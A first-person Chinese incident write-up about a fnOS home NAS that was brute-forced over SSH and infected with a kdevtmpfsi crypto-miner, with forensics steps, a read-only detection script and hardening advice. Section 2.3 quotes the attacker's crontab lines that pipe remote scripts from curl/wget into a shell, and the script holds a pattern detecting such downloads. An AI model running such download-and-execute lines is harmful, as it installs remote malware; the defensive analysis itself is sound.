NAS遭SSH爆破植入挖矿木马：飞牛fnOS排查与加固实战记录

平时总听人说“家用NAS被黑”，我一直觉得这事儿离自己挺远。直到某个周末晚上，家里网络突然卡到连微信图片都转半天，进飞牛NAS后台一看，CPU占用顶到100%，风扇在书房里呼呼狂转。当时第一反应是容器又抽风了，但点进Docker页面发现所有容器全部卡死，系统负载很高，而且有个进程名字我怎么看都不眼熟。那一刻我知道坏了，这台飞牛NAS十有八九是被盯上了。

这篇文章不卖惨，也不写“事后诸葛亮”式科普，而是把整个事件从发现、断网、排查、流量溯源到修复加固的完整过程记录下来。飞牛NAS（fnOS）是现在玩机圈很火的一套国产NAS系统，基于Debian Linux开发，社区活跃、插件多，很多人拿它做主存储、影音服务器，甚至还用它跑EasyNVR这类方案接萤石摄像头做监控存储。但用的人多了，自然会被扫描器和黑产盯上，尤其是开了端口映射、密码又不够硬的那批设备，简直是肉鸡候选人。如果你家里也有一台跑着fnOS或者类似Linux系统的NAS，这篇文章里的一键检测脚本和修复步骤，能帮你避免重蹈覆辙。

1. 事情是怎么发生的：从网络卡顿到NAS失控

1.1 我那套飞牛NAS的基础环境

先交代一下被黑的这台机器的情况，方便大家对号入座。

设备是一台老X86主机改装的飞牛NAS，双网卡，一块3.5寸机械硬盘做存储，一块SSD做系统盘。系统是当时最新的fnOS正式版，主要用途是存家庭照片、跑Jellyfin影音服务，还挂了一个qBittorrent做下载，以及几个Docker容器：一个监控系统用于管理萤石摄像头的录像，一个小型博客，还有几个平时调试用的Linux容器。

网络环境是典型家庭宽带，光猫拨号，路由器NAT。为了方便在公司访问家里的NAS，我在路由器上做了端口映射，把飞牛的HTTP管理端口、SSH的22端口都直接映射到了公网。这基本上就是灾难的起点，但当时我觉得：密码设得够长，系统也会自动更新，应该没事。

事后看，这种自信非常致命。

1.2 断网前的几个异常信号

其实在彻底卡死前，NAS已经给过我几次暗示，只是我当时没当回事。

第一个异常，是路由器后台的在线设备列表里，NAS的WAN侧连接数异常高。平时大概几十个连接，那几天经常看到几百个，心想可能是BT下载的锅，没细看。

第二个异常，是NAS的风扇转速。飞牛后台有温度监控，平时机械硬盘温度稳定在38度左右，CPU在45度上下。但那几天CPU温度动不动就跳到70度以上，风扇跟着全速转。我心大，认为是Jellyfin在转码。

第三个异常，是SSH登录时明显变慢。平时输完密码秒进，那几天要卡两三秒才跳出命令行，而且系统提示的“上次登录IP”变成了一个我完全不认识的境外地址。看到这个IP的时候，我其实已经心里一沉，但手指还是忍不住敲了下去，结果发现root用户的密码竟然能正常登进去。

这种情况摆明了：要么密码被人试出来了，要么系统里已经被人放了存根。

1.3 我为什么第一时间选择物理断网

发现CPU异常和陌生进程之后，我没有急着去杀进程，而是直接走到书房把NAS的网线拔了，同时关掉了路由器的端口映射规则。

这个操作后来被几个朋友评价为“教科书级反应”。原因是：你不确定对手在这个系统里已经拿到了多深的权限。如果只是普通进程被注入，命令行可以处理；但如果对方已经装了rootkit，你在联网状态下执行任何命令，结果都可能被木马篡改，甚至你做的每一步操作对方都实时看得见。物理断网，能把攻击者与系统的通信通道切掉，让他没法继续下发指令，也能保证后面的排查动作是在相对可信的系统环境下进行。

另外，断网后的数据是静态的，用netstat或者ss命令抓出来的连接记录、进程留存、临时文件都不会再变化，对溯源非常有价值。如果继续联网，连接状态一直在变，很多证据几分钟就没了。

2. 断网排查的完整过程

2.1 第一步：切断网络后的静态观察

拔掉网线之后过了两三分钟，我重新接上显示器（这台机器装了显卡，可以直接接屏幕操作），先看系统负载。

输入uptime，显示最近1分钟负载是8.7，5分钟负载是9.2，对于一个4核CPU来说已经高得离谱。再用top -b -n 1 | head -30看进程，一个名为kdevtmpfsi的进程CPU占用常年在300%以上。这个名字看起来跟Linux内核模块有点像，实际上这是网上流传多年的挖矿木马经典进程名，根本不是什么正经系统服务。另外还有一个pscf进程和一个networkd进程也在异常占用CPU。

真正让我确认被植入挖矿木马的，是/tmp目录下多出的一个可执行文件，名字叫tmp，大小有几十兆，修改时间正好是三天前凌晨三点多。一个系统上，/tmp目录里躺着一个可执行程序，用脚趾头想都知道不正常。

2.2 第二步：用进程树定位异常程序的关系

单看进程名还不够，必须搞清楚它们是怎么启动的。我用了一个比较粗暴但有效的办法：ps -ef --forest。

输出结果里，kdevtmpfsi和pscf的父进程都是PID 1（systemd）。这说明木马是通过系统服务或者init脚本方式被拉起的，而不是仅仅挂在一个终端会话里。如果只是普通用户运行，杀掉就完事了，这种挂到systemd下的，重启之后会自动拉起来，必须把对应的service文件和软链全部找出来。

我先后检查了/etc/systemd/system/目录，在multi-user.target.wants下发现了一个名为sysguard.service的单位文件，里面就是一句ExecStart=/tmp/tmp -k。看到这里我基本明白了：木马把守护文件写进了systemd启动链，不管系统怎么重启，它都能跟着起来。

排查systemd启动项的同时，我也顺手看了一下/etc/rc.local和/etc/profile.d/目录，确认没有其他驻留方式。这一步建议大家都做：改坏一处不算什么，最怕对方做了多手准备。

2.3 第三步：检查定时任务与Shell配置

挖矿木马通常会通过crontab做第二层保险，防止systemd服务被发现后被删掉就彻底GG。所以断网后的第二件事，我是检查所有用户的crontab和系统级计划任务。

输入crontab -l查看root的计划任务，看到了两行明显的异常，内容是：

*/5 * * * * curl -fsSL http://some-random-domain/s.sh | sh */15 * * * * wget -q -O- http://another-random-domain/run | bash

这种每5分钟下载执行一次的定时任务，是典型的木马下载器。即使前端的systemd服务被清理，crontab还会重新下载病毒体并执行。所以清理的时候绝对不能只杀进程，两个地方必须一起处理。

然后我检查了root的~/.bashrc和~/.profile，看有没有被人追加恶意的别名或者环境变量。好在没有发现被改动的痕迹。这一步容易被忽略，因为很多人只检查进程，不检查shell配置文件，而某些rootkit就喜欢藏在~/.bashrc里，等待管理员每次登录时自动执行。

2.4 第四步：排查SSH密钥、用户与登录日志

挖矿木马拿下一台机器后，一般会顺手留个后门方便后续使用。最常见的后门就是把攻击者的公钥写入/root/.ssh/authorized_keys。

我打开这个文件一看，果然，里面躺着两行陌生的公钥，根本不是我自己生成的。这个发现比看到挖矿进程还要让人后背发凉，因为生产公钥登录意味着攻击者已经拿到了这台机器的永久“钥匙”。如果只清理病毒和计划任务，不清理这个文件，攻击者只要发现系统恢复了，随时还能再进来。

登录日志我也没放过。用journalctl -u ssh和读/var/log/auth.log，发现三天前的凌晨确实有一大波SSH暴力破解记录，报错信息里全是“Failed password”。其中后面有一行特别刺眼：Accepted password for root from 218.x.x.x port 51438，时间正好是登录爆破成功那一刻。显然，当时这台机器的root密码太弱，被暴力字典直接撞开了。

我还特意检查了一遍系统里有没有新建的UID为0的账号，防止攻击者建了一个假root账户。用一条命令就能查：awk -F: '$3==0{print $1":"$7}' /etc/passwd。好在没有异常用户。

3. 流量溯源：从网络连接挖出攻击路径

3.1 溯源思路：断网下的本地连接分析

断网之后，很多人会犯一个错误，就是急着上网找解决办法。但我的建议是：先别急着恢复网络，趁系统离线状态把网络连接记录分析完。

连接状态虽然是静态的，但信息量并不少。用ss -tunap能看到断网前建立的TCP连接中，哪些是和外部IP保持长连的。-tonp还可以看到远端IP和端口而不做DNS反解，避免在解析域名时产生额外流量暴露自己。

在我这台被黑的机器上，ss -tnp输出了几十条和同一个境外IP地址建立的ESTABLISHED连接，本地端口以高位数为主，远端端口集中在3333。这个端口号我一看就明白是怎么回事：3333是某种门罗币矿池的常用通信端口。矿机程序在和矿池通信，通过stratum协议上报算力、接收任务。木马已经把NAS变成了一台远程矿机，帮别人跑门罗币，同时消耗我的电和CPU。

3.2 用连接记录反查矿池与攻击来源

在记录好矿池IP和端口后，我用iptables -L -n -v翻了翻防火墙规则，发现并没有现成的规则，防火墙基本是裸奔状态。飞牛系统默认没有开二级防火墙，所有流量全靠路由器端口映射限制，加上之前映射了22和Web端口，等于把大门敞开了一半。

随后我做的操作是：把/proc/net/tcp里的记录导出来，用脚本把十六进制IP换算成点分十进制，再结合当时日志里记录的SSH登录来源IP，整理出一张小的攻击来源表。

这里有个小技巧：如果你已经断网，但又想知道某个进程在断网前想访问什么域名，可以在/etc/hosts里临时把可疑域名的解析指到127.0.0.1，然后重新启动进程（前提是在隔离环境，且你不怕它执行某些下载行为）。不过我当时没冒这个险，而是直接基于已知的stratum协议特征判断木马通信行为。

3.3 还原攻击链路：弱口令→SSH爆破→提权→植入木马

根据日志和文件时间戳，我大致能还原出完整的入侵链条：

第一步，路由器上的端口映射把SSH的22端口暴露到了公网。攻击者的扫描脚本发现了这台开放22端口的设备。

第二步，攻击者对root账号进行字典爆破。因为我当时设置的root密码是连续数字加简单字母的组合，属于弱密码里的弱密码，所以很快就撞开了。日志显示爆破持续了不到两个小时就有一次成功登录。

第三步，攻击者登录后，先创建了一个临时目录，通过curl下载挖矿程序到/tmp，然后写入systemd服务和 crontab，完成持久化。

第四步，攻击者把自己的SSH公钥写入authorized_keys，确保之后不靠密码也能随时登录。

第五步，木马开始运行时，与矿池的TCP长连接建立，NAS成为肉鸡。

整个链条里，最关键、也最容易防的环节就是弱口令和端口暴露。如果路由器不映射22端口，或者密码足够长，这个攻击在第一环就会中断。

3.4 安全时间线还原

整理一下我查到的关键时间点，可以做成一个表格方便大家对照：

4. 一键检测脚本编写思路与完整代码

4.1 为什么决定写脚本

排查完之后我做了个决定：不能再靠“手动三板斧”走天下。因为飞牛NAS这种基于Linux的系统，用户不一定有很深的命令行经验，出了问题很容易手忙脚乱。而且这种僵尸化进程很善于伪装，单靠眼睛看top不一定能发现异常。

所以我花了点时间，把这次排查中用到的所有检测点整理成了一个脚本，命名为fn_check.sh。它能一次性检查系统负载、可疑进程、网络连接、SSH密钥、计划任务、init服务、最近改动文件等关键维度，并用明显的告警标识提示异常项。现在它在我的NAS上保留了Exec权限，每次感觉系统卡顿或者有异常时，直接一行命令就能跑出检测报告。

4.2 脚本核心检测点设计

设计脚本时，我没有把所有检测逻辑堆在一行命令里，而是分模块输出，每个模块都有清晰的标题和结论。这样即使看不懂代码的人，也能根据输出的WARNING提示知道问题在哪。

检测点一共7类：

• 系统负载：通过uptime查看load average是否超过CPU核数。
• CPU和内存TOP进程：筛出占用率超过50%的进程并打印完整命令行。
• 异常网络连接：列出所有ESTABLISHED状态的外部连接，按IP统计连接数。
• SSH安全状态：检查/root/.ssh/authorized_keys是否近期被修改，检查SSH登录日志中是否有来自异常IP的成功登录记录。
• 计划任务：检查root用户crontab和系统cron目录下的异常下载执行任务。
• 持久化服务：检查systemd服务中有没有路径指向/tmp的启动项。
• 近期文件变化：找出最近7天内被修改的可执行文件和脚本（排除系统包升级产生的常规文件）。

这些检测点覆盖了这次被黑的每一个环节。虽然脚本不是100%能防住所有攻击，但对付常见挖矿木马和僵尸化病毒已经足够。

4.3 完整脚本代码

以下是完整的一键检测脚本，直接在飞牛NAS的SSH终端中执行即可：

#!/bin/bash # fnOS 被黑快速检测脚本 v1.0 # 用法: bash fn_check.sh # 建议: 在可疑环境下先断网再执行，结果更可信 GREEN='\033[0;32m' YELLOW='\033[0;33m' RED='\033[0;31m' NC='\033[0m' echo "================================================" echo " fnOS 被黑快速检测" echo " 当前时间: $(date '+%Y-%m-%d %H:%M:%S')" echo "================================================" # 1. 系统负载 echo "" echo "===== [1] 系统负载 =====" LOAD=$(awk '{print $1}' /proc/loadavg) CPU_CORE=$(nproc) echo "1分钟负载: $LOAD / CPU核数: $CPU_CORE" if [ $(echo "$LOAD > $CPU_CORE" | bc) -eq 1 ]; then echo -e "${RED}[告警] 负载偏高，可能存在异常进程${NC}" else echo -e "${GREEN}[正常] 系统负载处于常规范围${NC}" fi # 2. CPU和内存TOP进程 echo "" echo "===== [2] CPU占用TOP8进程 =====" ps aux --sort=-%cpu | awk 'NR<=8 {printf "%-10s CPU:%-5s MEM:%-5s %s\n", $1, $3, $4, $11" "$12" "$13}' # 3. 异常网络连接 echo "" echo "===== [3] 当前外部TCP连接(按IP统计) =====" ss -tn 2>/dev/null | grep ESTAB | awk '{print $5}' | awk -F: '{print $1}' | sort | uniq -c | sort -rn | head -10 # 4. SSH安全性检查 echo "" echo "===== [4] SSH安全检查 =====" if [ -f /root/.ssh/authorized_keys ]; then echo "authorized_keys 修改时间: $(stat -c '%y' /root/.ssh/authorized_keys)" echo "密钥数量: $(grep -c '^ssh-' /root/.ssh/authorized_keys 2>/dev/null || echo 0)" grep 'Accepted ' /var/log/auth.log 2>/dev/null | tail -5 else echo "未找到 authorized_keys 文件" fi # 5. 计划任务检查 echo "" echo "===== [5] 计划任务检查 =====" echo "root crontab内容:" crontab -l 2>/dev/null | grep -v '^#' echo "" echo "系统cron目录异常检测:" grep -rEi '(curl|wget).*(\.sh|\.py|/tmp/)' /etc/cron* /var/spool/cron/ 2>/dev/null | grep -v '^#' || echo "未发现下载执行类计划任务" # 6. systemd服务驻留检查 echo "" echo "===== [6] systemd驻留服务检测 =====" for f in /etc/systemd/system/*.service /etc/systemd/system/multi-user.target.wants/*.service; do if [ -f "$f" ]; then EXEC=$(grep '^ExecStart' "$f" 2>/dev/null) if echo "$EXEC" | grep -qE '/tmp|/dev/shm|/var/tmp'; then echo -e "${RED}[告警] $f 启动项指向临时目录: $EXEC${NC}" fi fi done # 7. 近7天被修改的可疑文件 echo "" echo "===== [7] 近7天内修改的可疑文件 =====" find / -xdev -type f \( -name '*.sh' -o -perm -111 \) -mtime -7 2>/dev/null | grep -vE '^/(usr|proc|sys|var/lib/dpkg|var/lib/apt|etc/ssl|snap)' | head -20 echo "" echo "================================================" echo " 检测完成。若上方出现多处[告警]，建议立即断网进一步排查。" echo "================================================"

把这段代码保存到fn_check.sh后执行：

chmod +x fn_check.sh bash fn_check.sh

脚本本身不会做任何修改，只做检测，所以可放心执行。

4.4 使用注意事项与误报处理

脚本写完之后我跑了一遍，输出结果里第2、3、4、6、7项全部命中。颜色标注的红色告警一条接一条，看着还挺触目惊心的。但这里要提醒一下：脚本的告警逻辑是基于“可疑行为”的启发式判断，误报是必然的。

比如第6项的systemd检查，只要启动项里出现了/tmp路径就会告警。有些用户自己写的临时服务可能也会这么做，所以看到告警先不要急着删文件，多确认一下是不是自己创建的。第7项的文件查找，也会把一些软件自己更新的可执行文件列出来，需要结合文件名和路径判断。

最好的习惯是：先跑检测脚本，把输出保存到文件，然后针对每一项再单独查看详情。不要脚本说异常就直接rm -rf，那是另一种风险。

5. 一键修复与系统加固

5.1 应急清理：杀进程、删文件、清计划任务

排查清楚后，真正动手清理其实很简单，但顺序很重要，我的操作顺序是：

先停掉恶意进程，再删除临时目录里的程序文件，再清除计划任务和systemd服务，最后清理SSH密钥。为什么是“停、删、清、除”？因为如果你先删文件，进程还在运行，它可能马上重新创建一个新的文件，导致清理不彻底。

具体命令：

systemctl stop sysguard.service systemctl disable sysguard.service rm -f /etc/systemd/system/sysguard.service rm -f /etc/systemd/system/multi-user.target.wants/sysguard.service pkill -9 kdevtmpfsi pkill -9 pscf pkill -9 tmp rm -f /tmp/tmp rm -rf /tmp/.X11-unix crontab -r

这三个进程名是这次实际遇到的，不建议大家照搬，最好结合检测脚本的输出确定实际的进程名和文件路径再动手。清crontab的时候我直接执行了crontab -r，因为我的机器上本来没有用到计划任务，所以这样做是安全的。如果你平时有正常的cron任务，建议手动编辑剔除异常行，别一把删光。

5.2 修改SSH配置与禁用弱密码

清理完木马，最小必要动作是改密码。攻击者已经拿到了root密码，这个密码可能已经被共享到了肉鸡字典里，不改的话等于门户大开。

我用passwd命令重置了root密码，新密码设为随机生成的很长字符，人脑根本记不住，必须要配合密码管理器使用。同时把飞牛后台的admin密码也重置了一遍，防止同一个密码在多个入口复用。

然后修改SSH配置，这一步非常关键。编辑/etc/ssh/sshd_config，强制修改了两项：

PermitRootLogin prohibit-password PasswordAuthentication no

把root的密码登录禁掉，只允许密钥登录。这就意味着即使别人拿到了你的密码，也无法通过SSH直接以root身份登入。当然前提是你要先把自己的公钥配置好再重启SSH服务，否则自己也进不去了。

重启SSH服务：

systemctl restart sshd

这次被黑的直接原因就是弱密码+密码登录，把密码登录关掉后，暴力破解就失去了意义。

5.3 用iptables做基础端口防护

飞牛NAS系统默认不启用iptables规则，所有端口是否可达完全取决于路由器的映射规则。在修复阶段我直接删除了路由器上22端口的映射，同时给NAS本机加上了基础的防火墙规则，限制只有内网网段的设备能够访问SSH。

一条很简单的规则：

iptables -A INPUT -p tcp --dport 22 -s 192.168.1.0/24 -j ACCEPT iptables -A INPUT -p tcp --dport 22 -j DROP

意思是：来自内网网段的SSH访问放行，其他来源的22端口请求全部丢弃。这样即使路由器上还残留着端口映射，外部也连不进来了。

更稳妥的做法是在路由器上直接取消22端口的公网映射。如果你确实需要远程访问NAS，建议走飞牛官方的内网穿透服务或者自建一套带双重认证的网关方案，而不是粗暴地把SSH端口暴露到公网。

5.4 后续加固建议：fail2ban、定期备份与最小化暴露

修复完成后，我还做了一些长期加固，这些措施不一定能阻止所有攻击，但能把“被黑”的概率大大降低。

一是安装了fail2ban，监控SSH登录日志，连续失败5次就封禁来源IP一小时。这个工具对付爆破非常有效，因为爆破的IP通常只会尝试固定一段时间，封掉之后要么换IP，要么放弃。

二是把不需要的端口全部收敛。飞牛NAS的网页后台、SMB、Docker端口都只留在内网可访问，不再做公网映射。如果需要在外面看监控录像，用飞牛提供的加密通道服务，而不是在路由器上裸奔。

三是备份策略。重要数据我在另一台移动硬盘上做了定期备份，备份频率设定为每周一次。被黑最怕的是数据被加密勒索，虽然这次对方只是挖矿，没有动文件，但如果真的遇到勒索病毒，有备份就不至于全盘崩溃。

四是固件和系统更新保持及时。飞牛社区的版本迭代很快，很多安全漏洞会在新版本中修复，长期不更新的系统等于靶场。

6. 常见问题与避坑指南

6.1 遇到类似情况最容易犯的错误

这次排查过程中，有些坑是我自己踩过的，也有些是后面给朋友排雷时发现的，集中写出来希望大家别走弯路。

第一个常见错误是：发现异常后第一时间发朋友圈或问群友。这个操作本身没有恶意，但问题在于它会让你的NAS在至少几个小时里继续处于联网状态，而你可能还在命令行里敲来敲去，等于边打草惊蛇边给木马续命。正确做法是先断网，再截图，再找资料。

第二个常见错误是用“一杀二删三重启”的简单思路处理。很多人看到挖矿进程，直接kill掉，删除文件，然后重启系统，以为完事了。结果第二天又满血复活。原因就是没处理systemd服务和crontab这两个持久化机制。木马的狡猾之处在于它做了多层冗余，你不把根拔掉，它永远会自己长回来。

第三个常见错误是只修复不溯源。不检查authorized_keys，不查看登录日志，不搞清楚攻击者是怎么进来的就草草收工，那等于给下一次攻击预定了席位。尤其是SSH密钥后门，如果不清理，攻击者随时可以静默访问你的机器。

第四个常见错误是在可疑环境下直接联网更新杀毒软件。如果你的系统已经被rootkit接管，任何联网操作的结果都可能被污染。正确的顺序一定是先断网、先分析、先清理，确认系统可信后再联网打补丁。

6.2 如何判断“断网”是否真的生效

断网不只是拔掉NAS的网线这么简单。如果你使用无线网卡，需要把无线网卡也禁用；如果你有多个网卡，必须全部断开。有些设备带有管理网口或IPMI远程管理口，这些口也要一并断开。最严格的做法是断开光猫到路由器的网线，让整个家庭网络都处于离线状态。只看NAS的物理网口灯灭还不够，可以用ip addr确认所有网卡的IP都不再可达。

另外，断网后不建议立刻在NAS上打开飞牛的Web后台，因为Web后台可能仍然监听在本地端口，界面显示的是缓存状态，容易误导判断。我当时的做法是完全走命令行，只用journalctl、ss、ps这类命令查看实时状态。

6.3 日志被删除后还能不能溯源

攻击者在拿到root权限后，有时会清除登录日志来销毁痕迹。如果你发现 /var/log/auth.log 文件被清空或者缺失，不要慌，还有一些间接痕迹可以辅助判断：

一是shell历史命令文件~/.bash_history。虽然攻击者可能也擦了，但如果没有擦干净，可以看到他登录后执行过的命令轨迹。

二是临时目录和文件时间戳。很多木马下载器会留下curl或wget的痕迹，甚至会在/tmp里保留下载脚本本身。

三是文件系统时间线。可以find / -mtime -7 -type f查看最近7天被修改的文件，把那些时间点在攻击窗口内的异常文件筛选出来。

四是系统journal日志。只要systemd journal没有被手动清空，通常还是会保留一部分历史记录，用journalctl --since "3 days ago"可以看到不少信息。

6.4 是否该直接重装系统

经常有人问我：中招后到底要不要重装系统？我的建议是：如果只是挖矿木马，清干净后按步骤加固就能用；但如果发现rootkit、内核模块被替换、或者系统二进制文件被篡改，最好直接重装。

判断标准很简单：如果检测脚本发现异常进程运行很长时间，或者系统文件的校验值不对，又或者攻击者已经修改了 /etc/passwd、/etc/ld.so.preload 这类系统层文件，那么“修复”的成本可能比重装还高。飞牛NAS的数据一般都在存储卷上，重装系统盘不会影响存储盘数据，所以重装并不像想象中那么伤筋动骨。

如果只是轻量木马植入，不涉及系统底层篡改，手动清理并按加固方案做好防护，完全可以让系统继续服役。我自己这次属于后者，清理完成后系统跑了两个多月，目前一切正常。

写在后面的一点体会

经过这次折腾，我最大的改变是：再也不把“家庭内网设备”默认当可信环境了。凡是能联网的设备，默认按“可能被攻破”来设计，密码全部随机生成，能不开的端口一律不开，必须开的长久服务全部走加密通道加白名单。

做运维的朋友经常说一句话：不是你是否会被黑的问题，而是你什么时候会被黑。这次的经历让我真正懂了这句话。飞牛NAS这类系统做得很优秀，生态也越来越好，但任何暴露在互联网上的设备都躲不过脚本扫描器的洗礼。希望我这次的排雷过程，能帮你的NAS避开同样的坑。

最后再分享一个小技巧：如果你平时不想在NAS上装太多检测工具，可以把文中的fn_check.sh脚本挂到cron里定时执行，比如每天凌晨跑一次，把输出追加到日志文件，并设置一个简单的输出比对逻辑。这样，即使某天系统被人动了手脚，你也会在第二天早上的日志里看到异常告警，不用真的等到网络卡死才发现问题。